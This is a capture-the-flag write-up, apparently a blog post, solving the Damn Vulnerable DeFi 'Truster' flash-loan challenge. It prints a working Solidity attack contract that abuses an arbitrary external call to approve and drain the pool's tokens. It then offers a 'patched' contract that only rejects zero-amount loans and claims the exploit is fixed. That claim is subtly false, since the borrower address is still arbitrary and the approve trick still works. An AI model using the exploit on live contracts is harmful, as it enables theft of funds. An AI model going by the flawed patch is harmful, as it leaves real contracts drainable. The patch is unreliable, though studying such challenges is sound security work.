Damn Vulnerable DeFi - Truster

Description

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don’t worry, you might be able to take them all from the pool. In a single transaction.

Solution

How might we approach this one? The balanceAfter >= balanceBefore check looks solid, which means no matter what we’ll have to return the tokens…

Let’s turn our attention to target.functionCall(data) next. Notice that both target and data arbitrary. Combine that with our knowledge of the ERC20 interface, and we can call the approve function to give the attacker permission to transfer tokens on behalf of the Pool.

But wait, what about returning the tokens? We don’t need to if we flashloan an amount of 0.

contract TrusterAttack {
    function attack(
        address trusterLenderPool,
        address damnValuableToken,
        uint256 amount
    ) external {
        bytes memory targetData = abi.encodeWithSelector(IERC20(damnValuableToken).approve.selector, address(this), amount);
        TrusterLenderPool(trusterLenderPool).flashLoan(0, address(this), damnValuableToken, targetData);
        IERC20(damnValuableToken).transferFrom(trusterLenderPool, msg.sender, amount);
    }
}

Patched Contract

We can prevent this exploit if we revert when the borrow amout is 0. By enforcing a non-zero loan amount, our target.functionCall(data) MUST return the tokens. Which obviously means we can’t just call approve on the DVT contract.

The fix is a one liner require(borrowAmount > 0, "0 amount");

contract TrusterLenderPoolV2 is ReentrancyGuard {

    using Address for address;

    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        require(borrowAmount > 0, "0 amount");
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

You can verify yourself that the exploit no longer works with TrusterLenderPoolV2!

Written on June 9, 2022